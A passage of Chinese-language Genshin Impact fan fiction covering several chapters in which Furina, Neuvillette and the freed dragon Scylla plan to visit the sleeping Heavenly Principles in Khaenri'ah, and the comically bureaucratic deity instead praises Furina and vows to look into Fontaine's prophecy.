实在是前车之鉴过于惨烈,斯库拉暂且不是很想魂归胎海, 虽然一出来就能够觐见龙王实属幸事, 但是一条古龙蜥和新生水龙王一起站在天空底下, 万一可怕的天空大王一个天钉砸下来, 怕不是连龙带神都给一锅端了。 对此, 阿佩普锐评道: “胆小鬼,真是丢尽我们古龙遗族的颜面。那维莱特,是时候该好好整顿麾下族民们的状态了,我们不能仅仅局限于窥见白日的一隅, 作为古老的龙王,我们有责任,趁此大好机会,一举让龙族的光辉重返世间!” 纳西妲双手合十,微笑着解围: “阿佩普在鼓励那维莱特先生呢!她希望那维莱特先生和斯库拉先生能够趁这个机会像她一样在天空岛或者尘世七执政手下占有一席之地‘毕竟维尔金那王八蛋难得松一次政|策,这会不扩大我们在地上的影响力之后可就没有这么好的机会了!’——这是阿佩普之前碎碎念的原话哦!” 纳西妲眨眨眼,为在斯库拉听来堪称谋逆的言论添上一笔平淡无奇的社畜言论: “毕竟阿佩普签合同的时候维尔金大人对长生种、尤其是古龙的偏见还很大,我非常建议水龙蜥先生趁维尔金大人在睡觉赶紧签好合约哦!” “哦对,我都快忘记这茬了!纳西妲,还好有你在!” 芙宁娜一拍脑袋,可怜兮兮: “最近又是枫丹周边水域的水位上涨、又是之前积压的公务文件,还有数不清的水族魔兽们申请进入枫丹区域生活,甚至不乏一些魔神战争期间追随奥赛尔,从枫丹迁徙到璃月海域,又被赶到暗之外海的历史遗留问题……呜,我真的要疯掉了!” “请注意你的措辞,芙宁娜女士。” 那维莱特戳破了神明的哭诉,并说出了真相:”处理积压文件、协商海兽们居住环境以及同魔神们洽谈的人,是我。” “……签字其实也是一个非常非常辛苦的工作,你说是吧,纳西妲?” 纳西妲十分赞同: “是啊,毕竟签字可不光只是签上神名就完事了,维系者大人最近几百年推行‘责任到具体神’的制度,要是随随便便、不调查清楚就千字确认,平安无事还好,若是出了岔子……咦?芙卡洛斯,你这是怎么了?看起来充满了突然发现自己犯了什么错误但是又无法弥补的悔恨感。” “呜……不要再精准戳我了纳西妲……” 年轻神明们的打打闹闹让这场原本充斥着身份对立、新老君臣首次见面等等诸多能让场面瞬间变得剑拔弩张的因素的会面轻松了不少。 “抱歉,斯库拉先生,让你见笑了。” 斯库拉抬起头,惶恐低头: “王,水龙蜥遗族现存的、未能反抗命运和天理的罪臣斯库拉,向您致歉。” “无须介怀,更不必致歉。”那维莱特坦然,“我既没有你和阿佩普口中关于那场大战的记忆,也没有将统帅万千水域的权能尽数收归,于理于法,我们都不是君臣,而是同事。” 说道此处,那维莱特突然那想起了什么,充满歉意地对斯库拉说: “真正应该说抱歉的人是我。伤口还好吗?” 只能说,时代真是在变化。要是两千年前,有人会告诉斯库拉,在未来的某一天,他尊贵的水龙王会在见面三秒后直接抬手给麾下亲王一发水泡。并且原因还是以为斯库拉是语言中毁灭人类国家的天灾话,水龙蜥王斯库拉一定会哈哈大笑十分钟,再然后一尾巴拍飞那个不知好歹的家伙。 居然胆敢离间龙王于水龙蜥王之间可靠的君臣关系,该打! 只能说时过境迁,龙算不如天算。斯库拉悲从中来,还不忘问及那维莱特提到的关键字眼: “同事?” 芙宁娜见话题转移,赶紧顺着继续说下去,替看起来还是摸不着头脑的斯库拉解答了问题: “刚刚纳西妲不是说了吗?你会成为我的眷属哦,还是说,你不想留在枫丹,而是去别的国家定居?” “须弥就别想了,那点可悲的水元素连雨林都不够灌溉的,你们水龙一脉的家伙一过去,怕不是会变成水龙蜥干,龙族的中坚力量可不能死在如此荒谬的原因上——不过你要是主动请缨前往沙漠地区为灌溉赤沙地区的绿洲出一份力,我想阿赫玛尔那个家伙会很愿意收留你。” 阿赫玛尔?好熟悉的名字。 斯库拉在脑内搜寻了大半天,终于想起来这个名字主人的身份—— 是烈日君王! 斯库拉依稀记得,自己的好友雷穆斯曾提到过这个名字。记忆里,失乡的老友每每提及故土,这个名字永远会夹杂其中。 只不过,原来赤王阿赫玛尔仍然留存于世界,尚未死去,可是为何那个小女孩身上却有明晃晃的尘世七执政印记? 斯库拉大脑飞速运转,等等……刚刚还没怎么注意,仔细看了看,这个叫做纳西妲的魔神居然长着一副同大慈树王一模一样的面容,除了化身而成的年龄不同外,简直是从一个模子里刻出来的一样! 还有这几乎同世界树同源的力量,虽然有阿佩普在场导致这个气味存在一些小小的偏差,但是斯库拉非常确定,这个味道跟在很久很久以前,自己闻到的一模一样。 斯库拉大惊。 斯库拉陷入思考。 结合从不知道哪个犄角旮旯中翻出一段古早且狗血的记忆,以及斯库拉本人的脑内润色修改,水龙蜥王复盘出一个复杂但又合情合理的故事线—— 赤王爱慕花神,花神却倾心于世界树的化身布耶尔。虽说智慧的大慈树王无异成为这个大三角play的一环,忽视了花神的爱意,将自己的身心投入到世界树和治下的人类身上,但是架不住花神和赤王都是非常任性的家伙…… 是的了,一定是这样! 阿赫玛尔对娜布求而不得,因而将大慈树王残害到再也无法离开世界树半分,而世界树的化身虽然无意情爱但终归是心软,不忍看见爱慕自己的花之女主人日日垂泪,于是折下自己日夜不离的世界树枝桠,将之转赠花神。花神睹物思人,加上世界树的枝桠蕴含世界本源的力量,本就具有成为魔神的资质,才成为了和大慈树王几乎等比复刻的模样。 不愧是他,居然这么快就理清了整个故事脉络。 斯库拉由衷地为自己的智慧并没有在无尽的关押中彻底磨灭而感到高兴。然后当事龙乐极生悲,过长时间的沉默和克制不住解开谜团的困惑让水龙蜥王忍不住地甩着尾巴。 “原来如此,我会向阿赫玛尔引荐你的。”阿佩普欣慰地看向不拘泥于舒适圈、用于向困难发起挑战的斯库拉。 古龙种永远没有孬种! 草之龙的肯定让斯库拉顿觉大事不妙。 回忆起他们之前讨论的内容,斯库拉这才意识到:自己似乎一不小心驳了直系上司的面子,对另一个国家的神明示好。 “不不不,请务必让我继续留在枫丹——” 斯库拉结结巴巴,“那个,虽然去沙漠治理沙子非常不错,但是能够跟在那维莱特大人和芙卡洛斯大人身边、为枫丹即将来到的预言略微尽一份绵薄之力才是我更想做的!毕竟对于我们水龙一系,遍布水域的枫丹更加海阔天空……” “也是……”阿佩普也点点头赞同,“毕竟阿赫玛尔也不是什么好东西,我就没见过比他更有病的神——哦,天空岛的那帮家伙们除外,他们全是疯子。” 斯库拉闭上嘴,他目前暂时还没有测试天空岛新老大脾气的想法。阿佩普敢于凭借强横的生命力以身试钉,他现在只是一坨柔弱无助的胎海水而已,还是不要为难自己为妙。 趁着两条龙在这里有一搭没一搭说话,对把龙类申报为眷属流程已经轻车熟路的芙宁娜高高举起手上的契约。斯库拉就这么愣愣地听完了一长串乱七八糟的待遇和职位,茫然地按下爪印。等他反应过来时,他也从一条水灵灵的自由龙转变为家养龙。 “恭喜你,斯库拉。欢迎成为孤心沙龙的一员!” “等等,我有个问题——” 斯库拉颤颤巍巍举起手,真诚地问道: “请问,什么是‘孤心沙龙’?” 第102章 第 102 章 所以前面的铺垫是在煽…… “你问题太多了, 多嘴和无礼可不是龙族的品格。” 阿佩普不悦地打断了问题越来越多的斯库拉,后者则是默默抬起搭在如鲸一般宽阔的身躯上的蟹钳,像是做出了什么重大心理准备一样, 重重吐出一口长长的幽叹。 不对, 这样怎么显得自己像是在狐假虎威、借着隔壁邻居家阿佩普女士的势在欺负这条孤寡无依、跟不上时代的老龙蜥一样? 芙宁娜心虚地别开视线, 身体自动开始磕磕巴巴地解释: “不要在意这些无关紧要的细节!呜……我之前递上去的申请报告还在审批中, 别说是直接作为眷属, 就算是曲线救国给他安排到美露莘警卫队都算违反规定……‘孤心沙龙’是我自己的私人剧团,到时候我还要自掏腰包从那点工资里面划拉出给斯库拉的补贴那份……别看听上去好像不太靠谱,我是真的没有别的办法啦!” 早早从前辈大慈树王那里接过文书任务重担的纳西妲颇为赞同地点了点头,甚至上面人手紧缺之可怕程度,细细安慰: “着急也没有用的, 我听娜布大人说,最近天空岛看守的几个薄弱点都隐隐出现了细小的裂缝,考虑到上面人手的紧缺程度和处理事务的优先级, 我估计至少还需要三年才会批复芙卡洛斯的申请。所以不用急, 安心先干着吧。” 阿佩普一锤定音:“那斯库拉,你等着天空岛那边给你走完流程,我和纳西妲先走了。记住, 不要丢我们古龙遗族的颜面!” 说罢, 如蛇的古龙裹紧了小小的神明, 留给身后的异国神明和老乡一嘴的含草量拉满的尾气。纳西妲充满歉意地将双手的食指和大拇指比划成一个小小的方框, 把从阿佩普身上飞出来的花花草草们又悉数收纳回掌心。 长长的草之龙瞥了一眼小小神明做的无谓举动, 冷哼一声,却也不自觉放慢速度,做完一切后,纳西妲挥了挥手, 向许久不曾见面的朋友兼同事发出无声的再见。 偌大的须弥虽有古老的三神和年轻的小吉祥草王共同治理,但所有的神明都清楚,光一个世界树本体,就足够四位神明忙得脚不沾地。 下次再见面,或许又是有什么大事发生了。 纤长的背影逐渐化作一粒比尘埃更小的黑点,消失在远方。 斯库拉如今对自己的未来充满忧虑。 好消息是,他在海底所担心的一切显然不过只是杞人忧天,天理在睡觉,七神在各忙各的,水龙一系的新王不似阿佩普大人那般狂野骇人,但也不会像自己一样迷茫无措。一切都在向好,在千年漫长的等待时光中,命运悄然戏弄了认命的水龙蜥王,却又残忍地将敢于反抗命运的勇士抛弃在时间的车辙痕下。 坏消息是,他加入的是孤心沙龙 ,目前跟谢贝蕾妲小姐、海薇玛夫人、乌瑟勋爵共处一个生态链。 如果按人类论资排辈那套来,尊贵的水龙蜥王似乎还要称他们为“前辈”。 斯库拉看着镜子中小了数百倍不止的水形幻灵,委婉地向老相识前任水神表达了一番正常龙类对高大威猛身躯的向往,碰测敲击地表示,恢复自己威武高大且蕴含有丰富水资源的伟岸身躯,是自己这条孤寡老龙此生的唯一心愿, 对此,厄歌莉娅表示无爱莫能助,芙宁娜表示她其实并没有神力, 凉爽湛蓝的眼睛同时看向自始至终都没怎么说话的那维莱特。 芙宁娜干笑两声,转头又把这位年龄大过枫丹的龙蜥王打包交给可靠的那维莱特,厄歌莉娅趁机提出自己要回去继续上班,芙宁娜也想故技重施,只可惜没有人,哦不,没有龙能比大审判官大人更清楚自己顶头上司的工作量究竟几何—— 芙宁娜,逃离两龙一神修罗场大失败(X) 人形的水龙王和水型幻灵状态的斯库拉面面相觑,伟大的芙宁娜女士被手杖拦住去路,只能夹在含水量过高的两条龙之间,欲言又止。 “那个,”她等会真的还有一幕戏剧需要好好准备!你们这两条龙要说什么可快点说吧!! 那维莱特犹豫一番,率先开口:“按照流程,应该是由芙宁娜女士向你介绍枫丹的相关法令和事项,但是既然我们是同族,那就由我代为介绍……还请不要太过于拘束,总而言之,枫丹境内水域的清泉川流各有各的韵味,往后还能好好享受一番这里的风土人情和甘醇的清泉。” “咳咳……” 斯库拉在心底疯狂地呐喊着倒反天罡,谢贝蕾妲小姐担忧地看着新同事,不安地吐着泡泡。 按照习俗,斯库拉应该用身体丈量水龙王治下的水域,带着自己领地的澄澈之水,向水龙王描绘治下族民的生活。现在一整个倒反天罡,斯库拉眼见一脸纯善给自己介绍枫丹风土人情的那维莱特,好悬一口气没喘上来,险些成为千年来唯一一个呛死自己的丢人龙。 好险好险,差一点点又给古龙丢脸了,阿佩普大人要是知道的话一定会把她丢到沙漠去给赤王做牛做马的。 “太好了!我就知道那维莱特一定能跟斯库拉好好相处!” 芙宁娜反倒是重重松了一口气,然后又突然想起一个大问题,紧张地看向面不改色风轻云淡的大审判官,紧张地问道:“说起来,那维莱特见到斯库拉,会不会有一种很熟悉的感觉?或者本能?” 回答芙宁娜的是那维莱特充满困惑的眼神。 “就是那个,冲动啊,或者是不由自主地向说出什么话之类的……” 芙宁娜不死心,眼神四处飘动,最后实在是看那维莱特根本搞不懂隐晦的含蓄意,,干脆破罐子破摔,自暴自弃地嘟囔道:“就是问你有没有想起什么刻在血脉的记忆啦!比如关于天理和尼伯龙根的信息之类的……只要是关于天理的任何消息都可以。” 那维莱特沉思,随后遗憾地摇了摇头。 芙宁娜失落地垂下脑袋。 “芙卡洛斯,你问这个是想要做什么?” 斯库拉脑子里警铃大作,调转方向的时候一个不注意没有刹住车,一下子撞到芙宁娜的怀里。这位见多识广的水龙蜥王严肃地警告试图探查禁忌之物的现任水神:“古龙大权尚未回归,四影执政悉数归位,虚假之天沉眠也不过堪堪半个千年。就算是想要改旗易帜,这会也不是一个恰当的时间点。” “不不不,你误会了!我绝对绝对没有想要与天理为敌的意思,你可不要诽谤我啊!” 芙宁娜说完,又叹了口气,接着解释: “所有人都会溶解在海里,只剩下水神自己在神座上哭泣——这是流传于枫丹的预言。很多人认为这只是游荡的吟游诗人流传出来的无稽之谈,但这实际上是早在枫丹建立之初,由祂所降下的预言。” “厄歌莉娅应该有自己的打算。”斯库拉猜测,“世界正在发生变化,哪怕是天理也不例外。往好处想,说不定等祂睡饱了起来,脑子一拍就把这个足够——或者是预言的东西个取消掉了。” “三千年前,谁会觉得天理会因为坎瑞亚人的忤逆演变为对人类群体的失望,进而导致如今提瓦特大陆到处都是之前在暗之外海快要被憋疯的长生种们?”那维莱特与斯库拉的意见保持基本一致,但是他话锋一转,提道另一件事—— “不过,枫丹赌不起。哪怕是迟钝的普通人都能感觉到,如今的枫丹正在以一种缓慢却又不容扭转的速度朝着既定预言的方向缓缓前进。” “既定的预言无法被改变——这是维系者留给我们的谶言。”芙宁娜敲了敲水镜,清晰的字眼在其中显现: “显然,她是在提示我们。既然无法‘被’改变,是不是意味着,有办法能让命运主动改变?” 芙宁娜顿了顿,轻松地说道: “我计划前去维尔金大人沉睡的坎瑞亚遗迹,我想,或许曾对深渊和命运钻研得极其深刻的炼金术士们的遗产能够给我们提供游戏诶思路。” “芙卡洛斯,难道你想要去请求天理解除诅咒?那我只能奉劝你收敛这份纯白却无意义的天真。” 斯库拉认为,虚假之天最近收敛了脾气不代表祂本人会颠覆自己曾经的观念。一件事物的本质是不会改变的,他对人类的喜爱程度降低,不代表祂会好脾气到原谅纯水的鸠占鹊巢。前者的错误在于人类王国留下的几个经典坏例子和祂本人的神经,后者的错误来源于违逆。 斯库拉不认为,“违逆”是可以被原谅的罪过。 或许祂会承认被洪水覆灭后的枫丹无罪,但想要祂收回成命,主动改变预言……感觉不如直接举国搬迁来得快。 斯库拉对此倒是无所谓,水龙们本就不会拘泥于一处,在他们堪称冗长的生命力,大部分的时间都会被用在穿梭来往于各个海域之中。考虑到是枫丹人的“本质”问题,或许远离星球的原始胎海、远离这供养了他们灵魂与精神的源头才是最正确的选择。 芙宁娜半抿着唇: “其实,我先前从娜布小姐听到了她从死之执政若娜瓦大人那里得到的一个小道消息。” “「那位」似乎有构建一个不同于过去的提瓦特的宏远目标。” “那就更完蛋了。”斯库拉诚实地说,“上上上次这么说的时候,尼伯龙根被扔出了提瓦特;上上这么说的时候,地上掀起了魔神战争;上次这么说的时候……好吧,神之心的原材料你应该已经知道了。所以相信我,芙卡洛斯,继续执行厄歌莉娅的计划比你异想天开到祈求虚假之天免除惩罚容易得多。” “事实上,计划已经失去了继续进行的土壤。” 芙宁娜闭上眼睛,重重地叹了口气,两手一摊,看起来格外无奈。 “「我」将『我们』分为两半,一位是神,在机器中行使职权;另一个就是我,在这个剧院里为世界献上演出,直到预言的那一刻到来——” “我们会将权能物归原主,届时,执掌古龙大权者的赦令必定能够覆写枫丹人的原罪……” 斯库拉猛然意识到: “但这样做的前提是天空岛诸神无暇关注地上,但现在四影执政满员,天理沉睡不过短短四百余年,这样做无异于会被视作挑战祂的底线,一不小心被看做是坎瑞亚第二吃钉子也不是没可能……” “是的,维尔金大人对地上人类和长生种的态度转变反倒使这步险棋彻底走上了绝路。我们不清楚祂的底线,更不知道祂的态度,而四影执政的注意力又在前所未有地集中于地上七国。原始胎海的水正在想枫丹的水域渗透,假以时日,枫丹的秘密一旦暴露在世人面前……” 人前一直保持着大大咧咧笑容的芙宁娜露出一抹苦涩的微笑。 “说不定,真的会惹怒天空岛……因此,当务之急至少是先要遮蔽住天上的视线。” 斯库拉突然感觉事情好像突然有些不太对劲 接着,他就看着激动的现任神明握紧它的的鳍,激动地宣布道: “请跟我、还有那维莱特一起,去坎瑞亚偷偷挖一块维尔金大人本体的外壳下来吧!” 斯库拉:“嘎?” ——所以这个计划跟前面那么长的铺垫到底有什么关系啊喂!!—— 作者有话说:五二零快乐[玫瑰] 今天上班时被堵昏头了[爆哭]悲 第103章 第 103 章 龙龙也会亚健康哦…… 好吧, 果然这个世界从被虚假之天统治的那一刻开始就不正常了。 怪不得厄歌莉娅选择去看守世界树,或许治理一个充满人类的国度确实容易让神明产生一定的心灵创伤—— 看看可怜的芙卡洛斯,为了寻找那么一丁点的改变预言的可能, 居然能够相处如此堪比虎口拔牙的行径。要不是他也知道那蛋壳是孕育原初之人法涅斯的本体, 是真真正正能够堪比世界本源的存在, 他差一点就要被忽悠过去找死了。 斯库拉试图装死逃避, 但命运的大手已经扼住了他的喉咙, 又磨磨蹭蹭了老半天,终于在离开枫丹水域的时候,自知逃跑无望的斯库拉终究还是屈服,化作本体载着芙宁娜和那维莱特踏上了前往无神之国的旅途。 坎瑞亚。一个胆大,却又不够强大的人类国家。 大胆在有魔神们和天空岛存在的提瓦特公开表态拒绝信仰神明, 而是相信自己本身、相信由人创造机械造物的力量。 不够强大在于,他们明知故犯,搞不定天理就算了, 世界树也没瞒过去。 很有勇气和志气, 却不够聪明。 凭良心说,如果单单只是单纯地不想将国家交由魔神统治,天理并不会对此有任何意见。所有经历过那些屠杀的长生种们都很清楚, 虚假之天爱的是「人」这一存在。 魔神们强大又如何? 他们身上被天理加诸于身的枷锁, 多得几乎能够压垮任何一个没能成功夺取尘世执政之职的魔神。磨损会销蚀他们的记忆, 毁去他们为之生存、为之奋斗的意义;来自天空的注视会仔仔细细盯着每一个没有按照祂的意愿走向未来的国度。 欲望不是罪, 祈求不是罪, 战争不是罪,爱更不是罪。 但从野草长成大树是罪,企图窥探园丁的真面目是罪,妄图扎穿园丁遮蔽阳光的手是罪, 记住世界上的一切更是罪。 对于无情的园丁而言,只要那丛野草始终做一丛草就好。至于野草太过弱小、土地不够肥沃、雨水不够充足……对能够碾压这座小小庄园所有其他生物的园丁而言,也都不是什么难以解决的问题。 将原初的碎片播撒世间,亦将长着尖刺的枷锁束缚在原本自由流浪的猎犬脖颈之上,将其变作私人的牧羊犬,又把原本在此地生活的肥羊视为延续野草生命的肥料。 野草永远是野草就好。枯黄也无所谓,茂盛那就是一件值得庆贺的好事,死了更是没什么大不了的、 毕竟野草要多少有多少,园丁爱野草,却不爱具体的某一株野草也不是什么稀奇事。 哪怕坎瑞亚国度着实热爱战争和开疆拓土了些,高居于天空御座的天理也绝不会为被毁灭的国度落下哪怕是那么一滴的泪水。所以这个国家倒霉就倒霉在,地处优渥的大陆中部同时,还对深渊产生了不该有的好奇心和探索欲,引来了传说中的古斯托特的力量,甚至创造出结合提瓦特生物躯壳和深渊精神力量的人造生命体。 它们能够透过天理设下的屏障自由穿行于缝隙之中,它们能够轻而易举地利用提瓦特大陆的「生命」作为入侵的桥梁,将仍然困于缥缈星空的深渊生物带到本应安全的提瓦特内部。 空气中仍残留着若隐若现的深渊腐臭,四百年前,大火驱逐了这个国家的所有生命。 后来,或许是考虑到已经被榨取干净又被深渊污染的地脉再也难以重新焕发生机,又或许是只是为了让天理沉睡时不被世人侵扰,四百年后的今天,据曾经被芙宁娜威逼利诱拉过来充壮丁的奥赛尔前下属克拉肯说,这个地方简直变得比暗之外海还要荒芜。 层层的乌云遮蔽着天空,裂缝布满山川河流,地脉的涌流已经尽数化作干涸的河床,可是奔涌出来的深渊力量……又去了哪…… 不对!! 一种过于熟悉、但理智告诉他绝对不应该会出现在提瓦特内部的感觉使得斯库拉猛然意识到怪异所在之处—— 他们不是已经在天理沉眠之所了吗?? 意识到这一点之后,所有的一切都变得不真切起来,眼前的景象渐渐模糊,像是远处传来的声音越来越近,直到—— “太好了斯库拉,你终于醒了!”芙宁娜激动地扑上去拥抱懵懵懂懂从幻境中睁开眼的斯库拉,后者虽然也搞不清楚到底发生了什么,但是至少就目前的情况而言,估计是天理的沉眠之所设下了一些陷阱。 而且好像只有他中招了!!呜,完蛋了,本就族民凋敝的这下让整个水龙蜥一脉都 “呜呜呜呜,我还以为你才上岗就被我害死了……那么大一条水龙蜥蹲在海底两千年给养的圆圆润润的,怎么一道地上整条龙蜥都差点没了……还好你没事,不然我可怎么跟前辈还有隔壁的阿佩普交代啊!” “应该是有些营养不良,雷穆斯的国度已经死去得太久,再加上,你们之前不是说他还被封印起来了吗?” 维尔金松了松因为久睡而有些落枕的脖颈,给出一个年轻神明这辈子想破头都想不出来的答案: “长期宅在封印内,生活不规律营养不良所造成的亚健康罢了。” 芙宁娜:好震撼好科学的答案。如果不是天理说出来的就听起来更加令人信服了。 其实仔细想想也很有道理。可怜的斯库拉先是被封印了这么多年,直到阿佩普解开封印后才重回地面,结果又被他们马不停蹄地拉到无神之国。 短时间内环境大幅度的迁跃对于她和那维莱特并没有什么影响,但是斯库拉还没来得及恢复身体,高度紧绷的神经又乍然松懈,最后的最后,坎瑞亚逸散出来的深渊气息成为了压垮龙蜥的最后一根稻草。 维尔金想了想:“或许还有深渊力量的侵蚀原因?算了,应该不是什么大问题,回去把斯库拉放海里散养就行,他会自己找饭吃,别的就不用瞎操心了。长生种和人这一点倒是很像,放在那里不管,倒是活得有声有色;自己动手摆来摆去,你就可以跟利维坦探讨一下要再从哪里才能捞得到这么一条珍惜物种了。” “好,好的!”芙宁娜紧张兮兮地鞠了一个90°深躬,大声保证:“请放心,我一定不会把斯库拉给养死的!不过,利维坦……?” “真坏啊,潜伏在小年轻身边还用假名,装作一副一无所知的白开水模样,不知道的还以为我脾气又变差了……龙要知足啊利维坦,这四百年我光是忍住装不看见就已经拼尽全力了……等等,你这又是什么鬼表情?” 维尔金惊讶地看向站桩一样毫无动静的水龙本尊,虽然一句话也没说,但是维尔金还是从后者迷茫的眼神中读出了困惑。 而且利维坦好像没这么安静来着。那家伙可是一个爱说冷笑话的家伙,现在剧目的谜底解开,怎么可能会忍得住他那一张口就来点无聊时政笑话的欲望。 不对,难道是我没睡醒? 维尔金陷入沉思,扭头看向一脸心虚的新任水神: “我先复盘一下——芙卡洛斯,你不是想把权能还给水龙王吗?” “这不是还没来得及……噫?您怎么知道……” “我都说了只是眯了一会,没睡过去!” 突然较起真来的老上司吓得芙宁娜忍不住往后缩了缩,维尔金上下扫视了一番心虚的芙卡洛斯,更加困惑了:“那这样你们的思路也没有问题啊,让权能的主人赦免使扰乱规则、让非人者为人的罪孽。能够在不违背预言的同时终止预言带来的恶果。倒是芙卡洛斯,你为什么这么弱?” “可能是……嗯……我对自己进行了一点……小小的精加工?” 芙宁娜不敢睁开眼,希望眼前发生的一切全都是幻觉。 好消息,谕示裁定枢机真的瞒住了天理。 坏消息,他们自己把这事捅到天理眼前了—— “算了,年轻神就是喜欢整花活,别把自己弄死就行。至于你们之前说的预言,命运是不可被外力打破的,虽然这么说肯定又有人在心底骂我不干人事、自己造的孽自己不认,但事实就是如此——” 维尔金两手一摊: “并非是我创造了命运,而是我已经见到已成定局的未来。” 第104章 第 104 章 当你误打误撞成为模范…… “好了, 免费的解答时间结束,接下来是收取点对点费用环节——” 玩笑般打打闹闹的和谐氛围戛然而止,一个急转直下的尾音, 声音的主人直勾勾地盯着在场唯一一个连自保都不太能够的弱小神明身上。 “第一个问题, 芙卡洛斯, 你的神之心去哪里了?” 声音更近了一些, 这次是在芙宁娜的耳边, 退休上司的呼吸声如擂鼓一盘敲击在芙宁娜脆弱的血肉心脏上—— 这个问题芙宁娜根本无法回答。 难道要让她站在前车之鉴坎瑞亚的遗址上,亲自向天理解释从厄歌莉娅到她芙卡洛斯,没一个神明老老实实地听他的话,大家都在研究怎么让纯水精灵彻底变人、让枫丹夺过这次危机吗? 后者或许能够得到祂的宽恕,前者似乎只能让天理大人本就有的起床气更上一层楼。 “还没想好理由?”维尔金颇为可惜地摇了摇头, 要不说年轻神经验不够丰富呢?相当年,摩拉克斯还能理直气壮地反问自己,哪会像眼前的芙卡洛斯一样, 把心虚写在脸上。 “那我猜, 你们来之前,也没对好口供咯?” “不敢欺骗您的真实之眼……” 芙宁娜斟酌着用词,尽量避免触及那些感觉听上去非常容易挨钉子的言论, 极其委婉地辩解: “天理大人, 这次惊扰到您的休眠绝非是我们的本意……” 这真的是纯属巧合, 他们本来打算从边边角角的地方捏一块碎片就跑, 她记得派蒙说过维尔金大人的壳经常掉渣来着的, 谁能想到连壳渣都没摸到就被抓了个现行! “自从您的赦令颁布后,我们一直在寻求解决当初前任水神厄歌莉娅遗留下来的纯水精灵血脉问题……” 这个高低不干她的事情吧?说真的要是天理能够想到自己千年后对长生种的标准也变得这么松弛的话,诅咒他们干什么呀! “斯库拉先生是前段时间刚刚从海底的封印被解救出来,目前暂时被我安排在私人剧团的非正式岗位, 只要流程走完马上可以开始正式工作,那维莱特则是四百年前已经向维系者大人报备过的眷属,从法理和条例来看,他们都是听从我的指令才做出如此僭越之举。” 斯库拉和那维莱特这两条水龙也都是在颁布赦令之后、走正规流程才敢授予职位。唯一有待商榷的斯库拉也是在剧团这种理论上完全属于芙宁娜本人的的私有组织下面安置。一句话,自查下来完全没有任何问题,真要说什么,也就擅离职守这一点还存在着说头。 别看她的行为看似无比大胆叛逆,可是每一件事又是的的确确地按照规矩办的。正义的神明无愧于她的称号,而她的所作所为却更像是做到了某种程序上的正义—— 反正总而言之,芙宁娜本人已经紧张到胡言乱语了。 她自己清楚地知道这一番辩白绝对不是最好的解释,不管从哪个角度听,都像是他们在强词夺理,极有可能触怒天理。但是,这也的确是最能够把罪过揽到自己身上的方式。天理不会真的责罚祂的尘世七执政,除非他们犯下了堪比引深渊入室的大罪,但是对斯库拉和那维莱特可就不一定了…… 还有刚刚说到的那位……亘古的、已然死去的古水龙王之尊名,利维坦。 虽然芙宁娜不清楚天理本人对古龙们的态度,但如果可以,她希望尽量避免事情朝着古龙的方向继续延展。 真要较真起来,龙没的是命,七神最多被被安排个失职、渎职之类的罪名……呼,感觉也还蛮划算的。 “别的先不谈。我不管那两条龙的事情,赦令既然已经下达,我就不会再翻旧账。” 维尔金打断了芙宁娜在心底里句句斟酌的辩解,刚刚的回答似乎并没有让这位原初的神明感到满意,透亮的瞳孔如同野兽锁定了柔弱的晚饭,祂半眯着眼,既像是在敲打,又在不经意间露出一丝对自己下属的期待—— “我就这一个问题,你的神之心呢?” 很好的问题,使芙宁娜想要一头栽进暗之外海。 芙宁娜眼神闪烁: “神之心啊……这个神之心情况,可能有一点点的复杂,一时半会也有点难以说清楚……” “直接拣最重要的部分说。” 救命……谁能来救救她? 死脑快想,天理到底想要听到一个什么样的答案? 芙宁娜不敢继续犹豫下去,硬着头皮说道: “神之心目前仍然存放在枫丹庭,由「我」的神格部分,芙卡洛斯进行看守。” 避重就轻,回答了神之心所在何处,却没有解释为何要将「芙宁娜」于「芙卡洛斯」分割为两个个体。 这个答案……应该能算勉强过关吧? 芙宁娜忐忑不安,一方面她还记得,厄歌莉娅曾经千叮咛万嘱咐,神明不到万不可以绝对不可随意离开自己的国家,另一方面,她在这里悄悄钻了一个空子—— 离开枫丹的是以人之名行走于世间的芙宁娜,而作为神的芙卡洛斯依旧本本分分守在自己的神座,同时守护着枫丹国和神之心。 堪称完美——要不是芙宁娜自己清楚这是阴差阳错下铸成的巧合,她都要忍不住为自己的智慧在纳西妲面前吹嘘整整三天三夜。而现在……芙宁娜饱含着期待与热切,试图用眼神感化眼前突然醒来想着视察工作的原初神明,不过想来……天理应该不会有这么好糊弄吧? 芙宁娜紧张地看着渐渐靠近的影子,头越埋越低。 呜呜呜呜……再见了厄歌莉娅前辈,再见了枫丹,伟大的芙宁娜女士即将要成为天理时隔不知道多少年的又一钉下亡魂了—— 维尔金一掌拍到感觉快要碎了的芙宁娜肩膀,大喜过望: “太好了,芙卡洛斯!我就知道还得是你们年轻神靠谱!” 芙宁娜:O.o 居然还夸她?原来在规则范围内打擦边球是允许的啊……那她这四百多年来日日夜夜里经受的心理压力算什么?算「她」和「祂」比较具有表演潜质吗? 总而言之,虽然事情的走向好像跟她预想中的不太一样,不过……看起来这是,忽悠过去了? 天理真好糊弄啊!芙宁娜悄悄在心底松了一口气。 维尔金欣慰地看着整个人腰板都挺直了些的年轻神明。果然,自己的想法是正确的,提瓦特的未开果然还是属于这些年轻神! 看看那成天不记得神之心操作守则的摩拉克斯,看看那天天没有正形不知道飞哪里去找自家龙打打闹闹的风神,再看看那个居然能被人类蒙蔽的巴尔泽布,简直丢进了他们天空岛的颜面!对天空岛的工作秩序和氛围产生了极其恶劣的影响! 再看看年轻的芙卡洛斯—— 维尔金眼神乍然清澈了不少,越看芙宁娜也越顺眼。 别误会,这是一位来自经常被欺上瞒下的可怜睡眠困觉大户的、发自内心的欣赏和赞美。 太不容易了,他都不记得有多久没有看到这么纯真的神明了,必须出重拳好好保护! “这么多年来,你们也受苦了。”维尔金感慨,跟着这么一群已经变成老油条的同事一起干活,背后还没有阿佩普那样硬气的下属,日子一定过得非常艰难吧? 说不定偶尔还会被推来推去,身上堆满了不属于自己的工作。 芙宁娜不太确定:“应该也还好?” 起码在天理出现之前是蛮好的。平时工作有那维莱特处理,谕示裁定枢机进行审判流程,她也就负责签个字,也没什么算得上“苦”的地方。 维尔金更加心痛了: “你放心,我这就跟维系者打电话让她火速给斯库拉批一个职位下来,还有利维坦,啊不,是尚未完全拿回来的那维莱特,你还是继续在芙卡洛斯手底下干着吧。至于预言什么的也不用担心,枫丹被淹什么的也不用害怕,万一那维莱特掉链子更是无所谓,也不需要拿我的壳去遮蔽命星了——” 难得的,维尔金完全没有继续睡下去的欲望,而是充满了为下属分担疑难杂症的干劲: “这次,我亲自出马,我倒要看看这预言到底是怎么一回事!”!!! ——这种事,千万不要啊!! 第105章 第 105 章 不可言说的虚假之天离…… 